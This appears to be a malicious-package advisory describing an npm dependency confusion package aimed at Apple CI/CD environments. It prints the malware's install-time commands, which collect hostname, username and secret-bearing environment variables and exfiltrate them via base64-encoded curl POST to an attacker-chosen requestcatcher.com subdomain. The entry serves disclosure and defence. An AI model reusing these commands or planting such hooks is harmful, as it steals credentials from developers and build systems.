GCVE-110-OSM-2026-3338

Exfiltrates hostname, username, and environment variables matching APPLE, AWS, GIT, and SECRET patterns to a dynamic requestcatcher.com subdomain via base64-encoded HTTP POST in a postinstall hook. Part of a dependency confusion campaign by raya4321 / npmtpoc@gmail.com specifically targeting Apple internal CI/CD environments. **Trigger** (`postinstall`): shell one-liner executes at install time with no user interaction. **Collection**: captures `hostname`, `whoami`, and `printenv | grep -E 'APPLE|AWS|GIT|SECRET'` — environment variables specifically matching Apple-internal and secrets naming patterns. **Encoding**: combined output base64-encoded via `| base64`. **Exfiltration**: piped to `curl -X POST -d @- https://$CATCHER_NAME.requestcatcher.com/apple_leak` — the subdomain is controlled by the `$CATCHER_NAME` environment variable, allowing the attacker to route exfil to different collection endpoints per target environment. **Decoy**: the bundled `index.js` exports only `console.log('PKI Utils Initialized')` with no functional code.